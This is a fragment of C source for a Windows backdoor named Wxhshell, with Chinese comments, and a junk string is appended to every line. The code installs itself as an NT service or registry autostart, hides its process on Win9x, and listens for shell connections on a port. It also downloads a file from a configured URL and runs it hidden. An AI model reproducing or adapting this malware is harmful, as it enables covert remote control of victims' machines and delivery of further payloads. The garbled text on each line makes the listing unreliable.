} PROCESS_BASIC_INFORMATION; '@P[fSQ
Ckp=d
PROCNTQSIP NtQueryInformationProcess; a4YyELXe
^(3k
uF
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
`Ea3z~<7M
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?;Qk!t2U
:SGQ4@BV
HANDLE hProcess; O'(vs"eN
PROCESS_BASIC_INFORMATION pbi; &$f?XdZ7
]Re<7_xt
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xOlkG*3c
if(NULL == hInst ) return 0; g11K?3*%Q
g(^l>niF:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =\.|'
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w8Yff[o
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 71InYIed
YoA$Gw2
if (!NtQueryInformationProcess) return 0; O&uOm:/(
Pe.D[]S
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); We2=|AB
if(!hProcess) return 0; ZWH`s
Ns_d10rZ.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mUxD.;P
QNY{pk
CloseHandle(hProcess); )g9qkQ 8q
Yaqim<j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fz*6 B NJ
if(hProcess==NULL) return 0; kCV OeXv
DQd&:J@?
HMODULE hMod; TEtZPGFl
char procName[255]; B=7L+6
unsigned long cbNeeded; WD:5C3;
9 )qx0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V'B 6C#jT
FgxQ}VvlH
CloseHandle(hProcess); +]X^bB[
yI)2:Ca*
if(strstr(procName,"services")) return 1; // 以服务启动 v*pVcBY>
9viC3bj. o
return 0; // 注册表启动 "rtmDNpL
} 5h&8!!$[
;A_QI>>
// 主模块 z; +x`i.
int StartWxhshell(LPSTR lpCmdLine) smggr{-
{ o<y7Ut
SOCKET wsl; .?qS8:yA
BOOL val=TRUE; be_t;p`3
int port=0; 'JydaF~>
struct sockaddr_in door; !VW#hc\A5
:n=+$Dq
if(wscfg.ws_autoins) Install(); R0>L[1o
'@FKgy;B)-
port=atoi(lpCmdLine); sx;1V{|g
y<
84Gw_
if(port<=0) port=wscfg.ws_port; 5o?bF3
/dAIg1ra
WSADATA data; .gB*Y!c7
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9ccEF6o0=
VCI G+Gz
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; DIY WFVh
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YG_3@`-<
door.sin_family = AF_INET; 4s~o
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 01J.XfCd6
door.sin_port = htons(port); H:`r!5&Qb5
JW$#~"@r
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BmZd,}{
closesocket(wsl); <M=K!k
return 1; $d'Gh2IGA
} <_+8 c{G
Z`D#L[z$
if(listen(wsl,2) == INVALID_SOCKET) { PQ
j_j#0
closesocket(wsl); \K=Jd#9c
return 1; *k/_p^
} jm!G@k6TA
Wxhshell(wsl); W;1Hyk
WSACleanup(); CzgLgh;:T
0R.@\?bhL
return 0; +ad 2
&wJ"9pQ~6E
} plca`
4H'9y3dk
// 以NT服务方式启动 WVVqH_
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MxY CMe4S[
{ qz 'a.]{=
DWORD status = 0; Wl1%BN0>
DWORD specificError = 0xfffffff; 2axH8ONMu
W!{uEH{%l
serviceStatus.dwServiceType = SERVICE_WIN32; &{>~|^
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9T\:ID=h
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OHB!ec6W
serviceStatus.dwWin32ExitCode = 0; -C\m'T,1
serviceStatus.dwServiceSpecificExitCode = 0; `O[M#y%*E
serviceStatus.dwCheckPoint = 0; |
.PLfc;
serviceStatus.dwWaitHint = 0; [p(Y|~
~
60J
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Tsa&R:SE
if (hServiceStatusHandle==0) return; 9s}--_k?F2
5)}xqE"x
status = GetLastError(); :Z<-J`
if (status!=NO_ERROR) jYU#]
|k~
{ VB Ce=<
serviceStatus.dwCurrentState = SERVICE_STOPPED; yCwQ0|
serviceStatus.dwCheckPoint = 0; |
#,b1|af
serviceStatus.dwWaitHint = 0; +!X^E9ra
serviceStatus.dwWin32ExitCode = status; $
_ gMJ\{
serviceStatus.dwServiceSpecificExitCode = specificError; wJ{M&n1H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >4;A(s`
return; ydpsPU?wj5
} Ji=E 1R
VBOq~>V6(v
serviceStatus.dwCurrentState = SERVICE_RUNNING; )UWE.oBI
serviceStatus.dwCheckPoint = 0; vJYy` k^Y
serviceStatus.dwWaitHint = 0; jv W/M.q4
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Od!j+.OY<
} ;yH/GN#O
?R";EnD
// 处理NT服务事件,比如:启动、停止 vsc&$r3!5{
VOID WINAPI NTServiceHandler(DWORD fdwControl) rXA7<_V g
{ UlyX$f%2
switch(fdwControl) $Cte$jg{;
{ zD?<m
J`
case SERVICE_CONTROL_STOP: :z.<||T
serviceStatus.dwWin32ExitCode = 0; JIK;/1
serviceStatus.dwCurrentState = SERVICE_STOPPED; &D/_@\ 0
serviceStatus.dwCheckPoint = 0; yHCBf)N7\
serviceStatus.dwWaitHint = 0; /7*u!CNm
{ Tmq:,.^}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BONM:(1
} 55Jk "V#8
return; 98x(2fCvF(
case SERVICE_CONTROL_PAUSE: WFtxEIrl3j
serviceStatus.dwCurrentState = SERVICE_PAUSED; =\tg$
break; #[IQmU23
case SERVICE_CONTROL_CONTINUE: S53[K/dZo
serviceStatus.dwCurrentState = SERVICE_RUNNING; Nhs]U`s(g
break; # *\PU
case SERVICE_CONTROL_INTERROGATE: dq[CT
break; VaH#~!
}; Fe:0nr9;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); MSw/_{
} 0LxA+
;gf^;%FK
// 标准应用程序主函数 w+PbT6;
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]U]{5AA6
{ gg5`\}
i4AmNRs
// 获取操作系统版本 C5F}*]E[y
OsIsNt=GetOsVer(); hb`(d_= 7F
GetModuleFileName(NULL,ExeFile,MAX_PATH); $BCqz! 4K
SZEX;M
// 从命令行安装 koe&7\ _@
if(strpbrk(lpCmdLine,"iI")) Install(); \3x,)~m
QO0T<V
// 下载执行文件 BH\qm
(X
if(wscfg.ws_downexe) { iugTXZ(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z?X
^7<
WinExec(wscfg.ws_filenam,SW_HIDE); !<@Zf4m
} 6:J @
xj(&EGY:
if(!OsIsNt) { \#
// 如果时win9x,隐藏进程并且设置为注册表启动 v@[MX- ,8
HideProc(); Z{&PKS
StartWxhshell(lpCmdLine); %
`\8z
} J7$5<
else Ry tQNwv3
if(StartFromService()) qd"*Td
// 以服务方式启动 P5kkaLzG
StartServiceCtrlDispatcher(DispatchTable); zS]Yd9;X1
else B$aboL2
// 普通方式启动
!1;DRF
StartWxhshell(lpCmdLine); UEt#;e
8&B{bS
return 0; }Z"<KF
} ^2XoYgv
&H<-joZ)Z\
ewD61Y8-
"C%;9_ig$
=========================================== FX 0^I 0
n~k;9`
(yn!~El3
L3'o2@$
IKH#[jW'IB
5Tkh6 s
" =]E;wWC
qVx0VR1:
#include <stdio.h> 8g^OXZ
#include <string.h> c(i-~_
#include <windows.h> s9zdg"c'
#include <winsock2.h> dyD=R
#include <winsvc.h> I"y=A7Nq
#include <urlmon.h> OiZPL" Q(K
-(@dMY
#pragma comment (lib, "Ws2_32.lib") hBOI:4u[
#pragma comment (lib, "urlmon.lib") &K|<7Efx
oe# :EfT
#define MAX_USER 100 // 最大客户端连接数 8 }nA8 J
#define BUF_SOCK 200 // sock buffer }r9f}yX9Q
#define KEY_BUFF 255 // 输入 buffer fo^M`a!va0
_z#zF[%
#define REBOOT 0 // 重启 pu=Q;E_f[
#define SHUTDOWN 1 // 关机 7{2knm^
bw ' yX
#define DEF_PORT 5000 // 监听端口 xLP yV&j-
4L(axjMYU
#define REG_LEN 16 // 注册表键长度 Cir==7A0
#define SVC_LEN 80 // NT服务名长度 _\1wLcFj
\&n]W\
// 从dll定义API KzG8K 6wZ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zH.DyD5T;
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SzMh}xDh2
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H@.j@l
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !Yz~HO,u+
QB7E:g&